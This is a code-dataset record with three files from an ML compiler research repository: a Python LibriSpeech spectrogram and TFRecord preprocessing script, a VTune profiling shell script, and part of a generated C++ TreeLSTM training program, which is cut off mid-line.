0.6052348017692566, "alphanum_fraction": 0.6195471286773682, "avg_line_length": 39.80400085449219, "blob_id": "a4af31dc6407dd0325fa1335f1f5735f732a3084", "content_id": "4307acb990eeb9d2c7aaadf547e1a5d745f227ba", "detected_licenses": [ "BSD-3-Clause", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 10201, "license_type": "permissive", "max_line_length": 172, "num_lines": 250, "path": "/src/out/PLDI19evaluation/deepspeech2/ds2-tensorflow/src/preprocess_LibriSpeech.py", "repo_name": "supunab/Lantern", "src_encoding": "UTF-8", "text": "# Author: Lakshmi Krishnan\n# Email: [email protected]\n\n\"\"\"Creates SequenceExamples and stores them in TFRecords format.\n\nComputes spectral features from raw audio waveforms and groups the audio into\nmultiple TFRecords files based on their length. The utterances are stored in\nsorted order based on length to allow for sorta-grad implementation.\n\nNote:\nThis script can take a few hours to run to compute and store the mfcc\nfeatures on the 100 hour Librispeech dataset.\n\n\"\"\"\nimport os\nimport glob2\nimport soundfile as sf\nfrom python_speech_features import mfcc\nimport numpy as np\nimport tensorflow as tf\nfrom tqdm import tqdm\n\n\ndef compute_linear_specgram(samples,\n sample_rate,\n stride_ms=10.0,\n window_ms=20.0,\n max_freq=None,\n eps=1e-14):\n \"\"\"Compute the linear spectrogram from FFT energy.\"\"\"\n if max_freq is None:\n max_freq = sample_rate / 2\n if max_freq > sample_rate / 2:\n raise ValueError(\"max_freq must not be greater than half of \"\n \"sample rate.\")\n if stride_ms > window_ms:\n raise ValueError(\"Stride size must not be greater than \"\n \"window size.\")\n stride_size = int(0.001 * sample_rate * stride_ms)\n window_size = int(0.001 * sample_rate * window_ms)\n\n ## z-score normalizer\n # samples = samples - np.mean(samples)\n # samples = samples / np.std(samples)\n\n specgram, freqs = _specgram_real(samples,\n window_size=window_size,\n stride_size=stride_size,\n sample_rate=sample_rate)\n ind = np.where(freqs <= max_freq)[0][-1] + 1\n spectrogram = np.log(specgram[:ind, :] + eps)\n\n spectrogram = spectrogram.transpose()\n\n # z-score normalizer\n spectrogram = spectrogram - np.mean(spectrogram)\n spectrogram = spectrogram / np.std(spectrogram)\n\n # print \"spectrogram shape: \", spectrogram.shape\n return spectrogram\n\ndef _specgram_real(samples, window_size, stride_size, sample_rate):\n \"\"\"Compute the spectrogram for samples from a real signal.\"\"\"\n # extract strided windows\n truncate_size = (len(samples) - window_size) % stride_size\n samples = samples[:len(samples) - truncate_size]\n nshape = (window_size, (len(samples) - window_size) // stride_size + 1)\n nstrides = (samples.strides[0], samples.strides[0] * stride_size)\n windows = np.lib.stride_tricks.as_strided(samples, shape=nshape, strides=nstrides)\n assert np.all(windows[:, 1] == samples[stride_size:(stride_size + window_size)])\n # window weighting, squared Fast Fourier Transform (fft), scaling\n weighting = np.hanning(window_size)[:, None]\n fft = np.fft.rfft(windows * weighting, axis=0)\n fft = np.absolute(fft)\n fft = fft**2\n scale = np.sum(weighting**2) * sample_rate\n fft[1:-1, :] *= (2.0 / scale)\n fft[(0, -1), :] /= scale\n # prepare fft frequency list\n freqs = float(sample_rate) / window_size * np.arange(fft.shape[0])\n return fft, freqs\n\n\ndef compute_mfcc(audio_data, sample_rate):\n ''' Computes the mel-frequency cepstral coefficients.\n The audio time series is normalised and its mfcc features are computed.\n\n Args:\n audio_data: time series of the speech utterance.\n sample_rate: sampling rate.\n Returns:\n mfcc_feat:[num_frames x F] matrix representing the mfcc.\n\n '''\n\n # z-score normalizer\n audio_data = audio_data - np.mean(audio_data)\n audio_data = audio_data / np.std(audio_data)\n\n mfcc_feat = mfcc(audio_data, sample_rate, winlen=0.02, winstep=0.01,\n numcep=13, nfilt=26, nfft=512, lowfreq=0, highfreq=None,\n preemph=0.97, ceplifter=22, appendEnergy=True)\n print \"mfcc shape: \", mfcc_feat.shape\n return mfcc_feat\n\n\ndef make_example(seq_len, spec_feat, labels):\n ''' Creates a SequenceExample for a single utterance.\n This function makes a SequenceExample given the sequence length,\n mfcc features and corresponding transcript.\n These sequence examples are read using tf.parse_single_sequence_example\n during training.\n\n Note: Some of the tf modules used in this function(such as\n tf.train.Feature) do not have comprehensive documentation in v0.12.\n This function was put together using the test routines in the\n tensorflow repo.\n See: https://github.com/tensorflow/tensorflow/\n blob/246a3724f5406b357aefcad561407720f5ccb5dc/\n tensorflow/python/kernel_tests/parsing_ops_test.py\n\n\n Args:\n seq_len: integer represents the sequence length in time frames.\n spec_feat: [TxF] matrix of mfcc features.\n labels: list of ints representing the encoded transcript.\n Returns:\n Serialized sequence example.\n\n '''\n # Feature lists for the sequential features of the example\n feats_list = [tf.train.Feature(float_list=tf.train.FloatList(value=frame))\n for frame in spec_feat]\n feat_dict = {\"feats\": tf.train.FeatureList(feature=feats_list)}\n sequence_feats = tf.train.FeatureLists(feature_list=feat_dict)\n\n # Context features for the entire sequence\n len_feat = tf.train.Feature(int64_list=tf.train.Int64List(value=[seq_len]))\n label_feat = tf.train.Feature(int64_list=tf.train.Int64List(value=labels))\n\n context_feats = tf.train.Features(feature={\"seq_len\": len_feat,\n \"labels\": label_feat})\n\n ex = tf.train.SequenceExample(context=context_feats,\n feature_lists=sequence_feats)\n\n return ex.SerializeToString()\n\n\ndef process_data(partition):\n \"\"\" Reads audio waveform and transcripts from a dataset partition\n and generates mfcc featues.\n\n Args:\n parition - represents the dataset partition name.\n\n Returns:\n feats: dict containing mfcc feature per utterance\n transcripts: dict of lists representing transcript.\n utt_len: dict of ints holding sequence length of each\n utterance in time frames.\n\n \"\"\"\n\n feats = {}\n transcripts = {}\n utt_len = {} # Required for sorting the utterances based on length\n\n for filename in glob2.iglob(partition + '/**/*.txt'):\n with open(filename, 'r') as f:\n for line in f:\n parts = line.split()\n audio_file = parts[0]\n file_path = os.path.join(os.path.dirname(filename), audio_file + '.flac')\n audio, sample_rate = sf.read(file_path)\n # feats[audio_file] = compute_mfcc(audio, sample_rate)\n feats[audio_file] = compute_linear_specgram(audio, sample_rate)\n utt_len[audio_file] = feats[audio_file].shape[0]\n target = ' '.join(parts[1:])\n transcripts[audio_file] = [CHAR_TO_IX[i] for i in target]\n if ((utt_len[audio_file] - 19) // 2 - 9) // 2 == 60:\n print(\"file[%s] -- utterance length: %d, transcripts lenght: %d\" % (audio_file, ((utt_len[audio_file] - 19) // 2 - 9) // 2, len(transcripts[audio_file])))\n return feats, transcripts, utt_len\n\n\ndef create_records():\n \"\"\" Pre-processes the raw audio and generates TFRecords.\n This function computes the mfcc features, encodes string transcripts\n into integers, and generates sequence examples for each utterance.\n Multiple sequence records are then written into TFRecord files.\n \"\"\"\n for partition in sorted(glob2.glob(AUDIO_PATH + '/*')):\n if os.path.isfile(partition):\n continue\n print('Processing ' + partition)\n feats, transcripts, utt_len = process_data(partition)\n sorted_utts = sorted(utt_len, key=utt_len.get)\n # bin into groups of 100 frames.\n max_t = int(utt_len[sorted_utts[-1]] / 100)\n min_t = int(utt_len[sorted_utts[0]] / 100)\n\n # Create destination directory\n write_dir = os.path.join(AUDIO_PATH, '../../processed', partition.split('/')[-1])\n if tf.gfile.Exists(write_dir):\n tf.gfile.DeleteRecursively(write_dir)\n tf.gfile.MakeDirs(write_dir)\n\n if os.path.basename(partition) == 'train-clean-100':\n # Create multiple TFRecords based on utterance length for training\n writer = {}\n count = {}\n print('Processing training files...')\n for i in range(min_t, max_t + 1):\n filename = os.path.join(write_dir, 'train' + '_' + str(i) + '.tfrecords')\n writer[i] = tf.python_io.TFRecordWriter(filename)\n count[i] = 0\n\n for utt in tqdm(sorted_utts):\n example = make_example(utt_len[utt], feats[utt].tolist(), transcripts[utt])\n index = int(utt_len[utt] / 100)\n writer[index].write(example)\n count[index] += 1\n\n for i in range(min_t, max_t + 1):\n writer[i].close()\n print(count)\n\n # Remove bins which have fewer than 20 utterances\n for i in range(min_t, max_t + 1):\n if count[i] < 20:\n os.remove(os.path.join(write_dir, 'train' + '_' + str(i) + '.tfrecords'))\n else:\n # Create single TFRecord for dev and test partition\n filename = os.path.join(write_dir, os.path.basename(write_dir) + '.tfrecords')\n print('Creating', filename)\n record_writer = tf.python_io.TFRecordWriter(filename)\n for utt in sorted_utts:\n example = make_example(utt_len[utt], feats[utt].tolist(), transcripts[utt])\n record_writer.write(example)\n record_writer.close()\n print('Processed ' + str(len(sorted_utts)) + ' audio files')\n\n# Audio path is the location of the directory that contains the librispeech\n# data partitioned into three folders: dev-clean, train-clean-100, test-clean\nAUDIO_PATH = '/homes/wu636/scratch/deepSpeech2/data/librispeech/audio' # '../data/LibriSpeech/audio'\nALPHABET = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ' \"\nCHAR_TO_IX = {ch: i for (i, ch) in enumerate(ALPHABET)}\n\nif __name__ == '__main__':\n create_records()\n" }, { "alpha_fraction": 0.7542372941970825, "alphanum_fraction": 0.7542372941970825, "avg_line_length": 22.600000381469727, "blob_id": "23a9c4e32d702ff3d025a758744a2d7841f90cbb", "content_id": "52e5a3869a158d945774e63a029f0e160a5c31cf", "detected_licenses": [ "BSD-3-Clause", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 118, "license_type": "permissive", "max_line_length": 51, "num_lines": 5, "path": "/src/out/PLDI19evaluation/deepspeech2/ds2-tensorflow/tools/vtune.sh", "repo_name": "supunab/Lantern", "src_encoding": "UTF-8", "text": "source /opt/intel/vtune_amplifier_xe/amplxe-vars.sh\n\namplxe-cl -collect advanced-hotspots -- ./train.sh\n\n# amplxe-gui\n" }, { "alpha_fraction": 0.35247987508773804, "alphanum_fraction": 0.6558166146278381, "avg_line_length": 24.70077896118164, "blob_id": "8c0d59670a54ad1ad932263e0b9033bff48165ad", "content_id": "3d32c83f24a3a29dc3dc5e39700ad9725465e360", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 66052, "license_type": "permissive", "max_line_length": 124, "num_lines": 2570, "path": "/src/out/NIPS18evaluation/evaluationTreeLSTM/Lantern/Lantern.cpp", "repo_name": "supunab/Lantern", "src_encoding": "UTF-8", "text": "#include <assert.h>\n#include <err.h>\n#include <errno.h>\n#include <fcntl.h>\n#include <functional>\n#include <math.h>\n#include <memory>\n#include <random>\n#include <stdint.h>\n#include <stdio.h>\n#include <sys/mman.h>\n#include <sys/stat.h>\n#include <sys/time.h>\n#include <time.h>\n#include <unistd.h>\n#include <cblas.h>\n#include <algorithm>\n#include <numeric>\n\nusing namespace std;\n#ifndef MAP_FILE\n#define MAP_FILE MAP_SHARED\n#endif\n\nlong fsize(int fd) {\n struct stat stat;\n int res = fstat(fd, &stat);\n return stat.st_size;\n}\n\nint printll(char *s) {\n while (*s != '\\n' && *s != ',' && *s != '\\t') {\n putchar(*s++);\n }\n return 0;\n}\n\nlong hash(char *str0, int len) {\n unsigned char *str = (unsigned char *)str0;\n unsigned long hash = 5381;\n int c;\n\n while ((c = *str++) && len--)\n hash = ((hash << 5) + hash) + c; /* hash * 33 + c */\n\n return hash;\n}\n\nlong HEAP_SIZE_CPU = 1073741826; // 1048576; // 536870912; // 268435456; // 2097152; 1610612739; // 4294967304; //\nvoid *mallocBase = calloc(HEAP_SIZE_CPU, 1);\nvoid *mallocAddr = mallocBase;\nvoid *waterMark = mallocBase;\nvoid *myMalloc(size_t bytes) {\n void *res = mallocAddr;\n mallocAddr = (void *)((char *)mallocAddr + bytes);\n if ((long)mallocAddr >= (long)mallocBase + HEAP_SIZE_CPU)\n fprintf(stderr, \"CPU memory breached limit of HEAP_SIZE_CPU\\n\");\n return res;\n}\n\nlong HEAP_SIZE = 8589934608; // 4294967304; // this is for GPU\n\nint timeval_subtract(struct timeval *result, struct timeval *t2, struct timeval *t1) {\n long int diff = (t2->tv_usec + 1000000 * t2->tv_sec) - (t1->tv_usec + 1000000 * t1->tv_sec);\n result->tv_sec = diff / 1000000;\n result->tv_usec = diff % 1000000;\n return (diff < 0);\n}\n\n\n\nvoid Snippet(char *);\n\nstd::random_device rd{};\nstd::mt19937 gen{rd()};\nstd::normal_distribution<> d{0, 0.01};\n\nint main(int argc, char *argv[]) {\n if (argc != 2) {\n printf(\"usage: query <filename>\\n\");\n return 0;\n }\n Snippet(argv[1]);\n return 0;\n}\n\n/*****************************************\n Emitting C Generated Code \n*******************************************/\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdbool.h>\nvoid Snippet(char* x0) {\n// Backend setup.\ndouble x2 = ((double)clock() / CLOCKS_PER_SEC);\nint* x3 = (int32_t*)myMalloc(1 * sizeof(int32_t));;\nint64_t x4 = (long)fopen(\"small_glove.txt\", \"r\");\nif (fscanf((FILE *)x4,\"%d\", &x3[0])!=1) perror(\"Error reading file\");\nint32_t x6 = x3[0];\nfloat** x7 = (float**)myMalloc(x6 * sizeof(float*));;\nfor(int x9=0; x9 < x6; x9++) {\nfloat* x10 = (float*)myMalloc(300 * sizeof(float));;\nx7[x9] = x10;\nfor(int x13=0; x13 < 300; x13++) {\nfloat* x14 = x7[x9];\nif (fscanf((FILE *)x4,\"%f\", &x14[x13])!=1) perror(\"Error reading file\");\n\n}\n\n}\nfclose((FILE*)x4);\nint* x21 = (int32_t*)myMalloc(1 * sizeof(int32_t));;\nint64_t x22 = (long)fopen(\"array_tree.txt\", \"r\");\nif (fscanf((FILE *)x22,\"%d\", &x21[0])!=1) perror(\"Error reading file\");\nint32_t x24 = x21[0];\nint32_t x25 = x24 * 4;\nint** x26 = (int**)myMalloc(x25 * sizeof(int*));;\nint* x27 = (int32_t*)myMalloc(1 * sizeof(int32_t));;\nfor(int x29=0; x29 < x24; x29++) {\nif (fscanf((FILE *)x22,\"%d\", &x27[0])!=1) perror(\"Error reading file\");\nint32_t x33 = x29 * 4;\nfor(int x32=0; x32 < 4; x32++) {\nint32_t x35 = x27[0];\nint* x36 = (int32_t*)myMalloc(x35 * sizeof(int32_t));;\nint32_t x34 = x33 + x32;\nx26[x34] = x36;\nint32_t x38 = x27[0];\nfor(int x40=0; x40 < x38; x40++) {\nint* x41 = x26[x34];\nif (fscanf((FILE *)x22,\"%d\", &x41[x40])!=1) perror(\"Error reading file\");\n\n}\n\n}\n\n}\nfclose((FILE*)x22);\nfloat* x50 = (float*)myMalloc(45000 * sizeof(float));;\nfor(int x52=0; x52 < 45000; x52++) {\nfloat x53 = (float)rand()/RAND_MAX;\nfloat x54 = x53 - 0.5f;\nfloat x55 = x54 * 0.01f;\nx50[x52] = x55;\n\n}\nfloat* x60 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x61 = (float*)myMalloc(45000 * sizeof(float));;\nfor(int x62=0; x62 < 45000; x62++) {\nfloat x63 = (float)rand()/RAND_MAX;\nfloat x64 = x63 - 0.5f;\nfloat x65 = x64 * 0.01f;\nx61[x62] = x65;\n\n}\nfloat* x69 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x70 = (float*)myMalloc(45000 * sizeof(float));;\nfor(int x71=0; x71 < 45000; x71++) {\nfloat x72 = (float)rand()/RAND_MAX;\nfloat x73 = x72 - 0.5f;\nfloat x74 = x73 * 0.01f;\nx70[x71] = x74;\n\n}\nfloat* x78 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x79 = (float*)myMalloc(22500 * sizeof(float));;\nfor(int x81=0; x81 < 22500; x81++) {\nfloat x82 = (float)rand()/RAND_MAX;\nfloat x83 = x82 - 0.5f;\nfloat x84 = x83 * 0.01f;\nx79[x81] = x84;\n\n}\nfloat* x88 = (float*)myMalloc(22500 * sizeof(float));;\nfor(int x89=0; x89 < 22500; x89++) {\nfloat x90 = (float)rand()/RAND_MAX;\nfloat x91 = x90 - 0.5f;\nfloat x92 = x91 * 0.01f;\nx88[x89] = x92;\n\n}\nfloat* x96 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x97 = (float*)myMalloc(22500 * sizeof(float));;\nfor(int x98=0; x98 < 22500; x98++) {\nfloat x99 = (float)rand()/RAND_MAX;\nfloat x100 = x99 - 0.5f;\nfloat x101 = x100 * 0.01f;\nx97[x98] = x101;\n\n}\nfloat* x105 = (float*)myMalloc(22500 * sizeof(float));;\nfor(int x106=0; x106 < 22500; x106++) {\nfloat x107 = (float)rand()/RAND_MAX;\nfloat x108 = x107 - 0.5f;\nfloat x109 = x108 * 0.01f;\nx105[x106] = x109;\n\n}\nfloat* x113 = (float*)myMalloc(22500 * sizeof(float));;\nfor(int x114=0; x114 < 22500; x114++) {\nfloat x115 = (float)rand()/RAND_MAX;\nfloat x116 = x115 - 0.5f;\nfloat x117 = x116 * 0.01f;\nx113[x114] = x117;\n\n}\nfloat* x121 = (float*)myMalloc(22500 * sizeof(float));;\nfor(int x122=0; x122 < 22500; x122++) {\nfloat x123 = (float)rand()/RAND_MAX;\nfloat x124 = x123 - 0.5f;\nfloat x125 = x124 * 0.01f;\nx121[x122] = x125;\n\n}\nfloat* x129 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x130 = (float*)myMalloc(22500 * sizeof(float));;\nfor(int x131=0; x131 < 22500; x131++) {\nfloat x132 = (float)rand()/RAND_MAX;\nfloat x133 = x132 - 0.5f;\nfloat x134 = x133 * 0.01f;\nx130[x131] = x134;\n\n}\nfloat* x138 = (float*)myMalloc(22500 * sizeof(float));;\nfor(int x139=0; x139 < 22500; x139++) {\nfloat x140 = (float)rand()/RAND_MAX;\nfloat x141 = x140 - 0.5f;\nfloat x142 = x141 * 0.01f;\nx138[x139] = x142;\n\n}\nfloat* x146 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x147 = (float*)myMalloc(22500 * sizeof(float));;\nfor(int x148=0; x148 < 22500; x148++) {\nfloat x149 = (float)rand()/RAND_MAX;\nfloat x150 = x149 - 0.5f;\nfloat x151 = x150 * 0.01f;\nx147[x148] = x151;\n\n}\nfloat* x155 = (float*)myMalloc(22500 * sizeof(float));;\nfor(int x156=0; x156 < 22500; x156++) {\nfloat x157 = (float)rand()/RAND_MAX;\nfloat x158 = x157 - 0.5f;\nfloat x159 = x158 * 0.01f;\nx155[x156] = x159;\n\n}\nfloat* x163 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x164 = (float*)myMalloc(750 * sizeof(float));;\nfor(int x166=0; x166 < 750; x166++) {\nfloat x167 = (float)rand()/RAND_MAX;\nfloat x168 = x167 - 0.5f;\nfloat x169 = x168 * 0.01f;\nx164[x166] = x169;\n\n}\nfloat* x173 = (float*)myMalloc(5 * sizeof(float));;\nfloat* x174 = (float*)myMalloc(45000 * sizeof(float));;\nfloat* x175 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x176 = (float*)myMalloc(45000 * sizeof(float));;\nfloat* x177 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x178 = (float*)myMalloc(45000 * sizeof(float));;\nfloat* x179 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x180 = (float*)myMalloc(22500 * sizeof(float));;\nfloat* x181 = (float*)myMalloc(22500 * sizeof(float));;\nfloat* x182 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x183 = (float*)myMalloc(22500 * sizeof(float));;\nfloat* x184 = (float*)myMalloc(22500 * sizeof(float));;\nfloat* x185 = (float*)myMalloc(22500 * sizeof(float));;\nfloat* x186 = (float*)myMalloc(22500 * sizeof(float));;\nfloat* x187 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x188 = (float*)myMalloc(22500 * sizeof(float));;\nfloat* x189 = (float*)myMalloc(22500 * sizeof(float));;\nfloat* x190 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x191 = (float*)myMalloc(22500 * sizeof(float));;\nfloat* x192 = (float*)myMalloc(22500 * sizeof(float));;\nfloat* x193 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x194 = (float*)myMalloc(750 * sizeof(float));;\nfloat* x195 = (float*)myMalloc(5 * sizeof(float));;\nfloat* x196 = (float*)myMalloc(45000 * sizeof(float));;\nfloat* x197 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x198 = (float*)myMalloc(45000 * sizeof(float));;\nfloat* x199 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x200 = (float*)myMalloc(45000 * sizeof(float));;\nfloat* x201 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x202 = (float*)myMalloc(22500 * sizeof(float));;\nfloat* x203 = (float*)myMalloc(22500 * sizeof(float));;\nfloat* x204 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x205 = (float*)myMalloc(22500 * sizeof(float));;\nfloat* x206 = (float*)myMalloc(22500 * sizeof(float));;\nfloat* x207 = (float*)myMalloc(22500 * sizeof(float));;\nfloat* x208 = (float*)myMalloc(22500 * sizeof(float));;\nfloat* x209 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x210 = (float*)myMalloc(22500 * sizeof(float));;\nfloat* x211 = (float*)myMalloc(22500 * sizeof(float));;\nfloat* x212 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x213 = (float*)myMalloc(22500 * sizeof(float));;\nfloat* x214 = (float*)myMalloc(22500 * sizeof(float));;\nfloat* x215 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x216 = (float*)myMalloc(750 * sizeof(float));;\nfloat* x217 = (float*)myMalloc(5 * sizeof(float));;\ndouble* x218 = (double*)myMalloc(6 * sizeof(double));;\nint64_t x219 = (long)mallocAddr;\ndouble x220 = ((double)clock() / CLOCKS_PER_SEC);\nbool x1087 = true || true;\nbool x1088 = x1087 || true;\nfor(int x222=0; x222 < 6; x222++) {\nfloat x223 = 0.0f;\nfor(int x224=0; x224 < x24; x224++) {\nfloat* x238 = (float*)myMalloc(1 * sizeof(float));;\nfloat* x239 = (float*)myMalloc(1 * sizeof(float));;\nfloat* x240 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x241 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x242 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x243 = (float*)myMalloc(150 * sizeof(float));;\nint32_t x225 = x224 % x24;\nint32_t x226 = x225 * 4;\nint* x227 = x26[x226];\nint32_t x228 = x226 + 1;\nint* x229 = x26[x228];\nint32_t x230 = x226 + 2;\nint* x231 = x26[x230];\nint32_t x232 = x226 + 3;\nint* x233 = x26[x232];\nfunction<void(int32_t,function<void(float**)>,float**)> x244 = [&](int32_t x245,function<void(float**)> x246,float** x247) {\nfloat** x250 = x247;\nfloat* x251 = x250[0];\nfloat* x252 = x250[1];\nfloat* x253 = x250[2];\nfloat* x254 = x250[3];\nfloat* x255 = x250[4];\nfloat* x256 = x250[5];\nint32_t x248 = x245;\nbool x257 = x248 >= 0;\nif (x257) {\nint32_t x258 = x231[x248];\nfloat** x1924 = (float**)myMalloc(6 * sizeof(float*));;\nx1924[0] = x238;\nx1924[1] = x239;\nx1924[2] = x240;\nx1924[3] = x241;\nx1924[4] = x242;\nx1924[5] = x243;\nfunction<void(float**)> x249 = x246;\nfunction<void(float**)> x521 = [&](float** x522) {\nfloat* x523 = x522[0];\nfloat* x524 = x522[1];\nfloat* x525 = x522[2];\nfloat* x526 = x522[3];\nfloat* x527 = x522[4];\nfloat* x528 = x522[5];\nfloat** x529 = (float**)myMalloc(6 * sizeof(float*));;\nx529[0] = x523;\nx529[1] = x524;\nx529[2] = x525;\nx529[3] = x526;\nx529[4] = x527;\nx529[5] = x528;\nx249(x529);\n};\nfunction<void(float**)> x513 = [&](float** x514) {\nfloat* x515 = x514[0];\nfloat* x516 = x514[1];\nfloat* x517 = x514[2];\nfloat* x518 = x514[3];\nfloat* x519 = x514[4];\nfloat* x520 = x514[5];\nfloat** x538 = (float**)myMalloc(6 * sizeof(float*));;\nx538[0] = x515;\nx538[1] = x516;\nx538[2] = x517;\nx538[3] = x518;\nx538[4] = x519;\nx538[5] = x520;\nx521(x538);\n};\nfunction<void(float**)> x1236 = [&](float** x1237) {\nfloat* x1238 = x1237[0];\nfloat* x1239 = x1237[1];\nfloat* x1240 = x1237[2];\nfloat* x1241 = x1237[3];\nfloat* x1242 = x1237[4];\nfloat* x1243 = x1237[5];\nfloat** x1244 = (float**)myMalloc(6 * sizeof(float*));;\nx1244[0] = x1238;\nx1244[1] = x1239;\nx1244[2] = x1240;\nx1244[3] = x1241;\nx1244[4] = x1242;\nx1244[5] = x1243;\nx249(x1244);\n};\nfunction<void(float**)> x1228 = [&](float** x1229) {\nfloat* x1230 = x1229[0];\nfloat* x1231 = x1229[1];\nfloat* x1232 = x1229[2];\nfloat* x1233 = x1229[3];\nfloat* x1234 = x1229[4];\nfloat* x1235 = x1229[5];\nfloat** x1253 = (float**)myMalloc(6 * sizeof(float*));;\nx1253[0] = x1230;\nx1253[1] = x1231;\nx1253[2] = x1232;\nx1253[3] = x1233;\nx1253[4] = x1234;\nx1253[5] = x1235;\nx1236(x1253);\n};\nfunction<void(float**)> x259 = [&](float** x260) {\nfloat* x261 = x260[0];\nfloat* x262 = x260[1];\nfloat* x263 = x260[2];\nfloat* x264 = x260[3];\nfloat* x265 = x260[4];\nfloat* x266 = x260[5];\nint32_t x267 = x233[x248];\nfloat** x1914 = (float**)myMalloc(6 * sizeof(float*));;\nx1914[0] = x238;\nx1914[1] = x239;\nx1914[2] = x240;\nx1914[3] = x241;\nx1914[4] = x242;\nx1914[5] = x243;\nfunction<void(float**)> x268 = [&](float** x269) {\nfloat* x270 = x269[0];\nfloat* x271 = x269[1];\nfloat* x272 = x269[2];\nfloat* x273 = x269[3];\nfloat* x274 = x269[4];\nfloat* x275 = x269[5];\nfloat* x276 = (float*)myMalloc(5 * sizeof(float));;\nint32_t x277 = x227[x248];\nx276[x277] = 1.0f;\nfloat* x279 = (float*)myMalloc(5 * sizeof(float));;\nint32_t x280 = x231[x248];\nbool x281 = x280 < 0;\nif (x281) {\nint32_t x282 = x229[x248];\nfloat* x283 = x7[x282];\nfloat* x284 = (float*)myMalloc(300 * sizeof(float));;\nfloat* x285 = (float*)myMalloc(150 * sizeof(float));;\ncblas_sgemv(CblasRowMajor, CblasNoTrans, 150,300,1,x50,300,x283,1,0,x285,1);\nfloat* x287 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x288 = (float*)myMalloc(150 * sizeof(float));;\nfor(int x290=0; x290 < 150; x290++) {\nfloat x291 = x285[x290];\nfloat x292 = x60[x290];\nfloat x293 = x291 + x292;\nx288[x290] = x293;\n\n}\nfloat* x297 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x298 = (float*)myMalloc(150 * sizeof(float));;\nfor(int x299=0; x299 < 150; x299++) {\nfloat x300 = x288[x299];\nfloat x301 = -1.0f * x300;\ndouble x302 = (double)x301;\ndouble x303 = exp(x302);\nfloat x304 = (float)x303;\nfloat x305 = x304 + 1.0f;\nfloat x306 = 1.0f / x305;\nx298[x299] = x306;\n\n}\nfloat* x310 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x311 = (float*)myMalloc(150 * sizeof(float));;\ncblas_sgemv(CblasRowMajor, CblasNoTrans, 150,300,1,x61,300,x283,1,0,x311,1);\nfloat* x313 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x314 = (float*)myMalloc(150 * sizeof(float));;\nfor(int x315=0; x315 < 150; x315++) {\nfloat x316 = x311[x315];\nfloat x317 = x69[x315];\nfloat x318 = x316 + x317;\nx314[x315] = x318;\n\n}\nfloat* x322 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x323 = (float*)myMalloc(150 * sizeof(float));;\nfor(int x324=0; x324 < 150; x324++) {\nfloat x325 = x314[x324];\nfloat x326 = -1.0f * x325;\ndouble x327 = (double)x326;\ndouble x328 = exp(x327);\nfloat x329 = (float)x328;\nfloat x330 = x329 + 1.0f;\nfloat x331 = 1.0f / x330;\nx323[x324] = x331;\n\n}\nfloat* x335 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x336 = (float*)myMalloc(150 * sizeof(float));;\ncblas_sgemv(CblasRowMajor, CblasNoTrans, 150,300,1,x70,300,x283,1,0,x336,1);\nfloat* x338 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x339 = (float*)myMalloc(150 * sizeof(float));;\nfor(int x340=0; x340 < 150; x340++) {\nfloat x341 = x336[x340];\nfloat x342 = x78[x340];\nfloat x343 = x341 + x342;\nx339[x340] = x343;\n\n}\nfloat* x347 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x348 = (float*)myMalloc(150 * sizeof(float));;\nfor(int x349=0; x349 < 150; x349++) {\nfloat x350 = x339[x349];\ndouble x351 = (double)x350;\ndouble x352 = tanh(x351);\nfloat x353 = (float)x352;\nx348[x349] = x353;\n\n}\nfloat* x357 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x358 = (float*)myMalloc(150 * sizeof(float));;\nfor(int x359=0; x359 < 150; x359++) {\nfloat x360 = x298[x359];\nfloat x361 = x348[x359];\nfloat x362 = x360 * x361;\nx358[x359] = x362;\n\n}\nfloat* x366 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x367 = (float*)myMalloc(150 * sizeof(float));;\nfor(int x368=0; x368 < 150; x368++) {\nfloat x369 = x358[x368];\ndouble x370 = (double)x369;\ndouble x371 = tanh(x370);\nfloat x372 = (float)x371;\nx367[x368] = x372;\n\n}\nfloat* x376 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x377 = (float*)myMalloc(150 * sizeof(float));;\nfor(int x378=0; x378 < 150; x378++) {\nfloat x379 = x323[x378];\nfloat x380 = x367[x378];\nfloat x381 = x379 * x380;\nx377[x378] = x381;\n\n}\nfloat* x385 = (float*)myMalloc(150 * sizeof(float));;\nfloat* x386 = (float*)myMalloc(5 * sizeof(float));;\ncblas_sgemv(CblasRowMajor, CblasNoTrans, 5,150,1,x164,150,x377,1,0,x386,1);\nfloat* x388 = (float*)myMalloc(5 * sizeof(float));;\nfloat* x389 = (float*)myMalloc(5 * 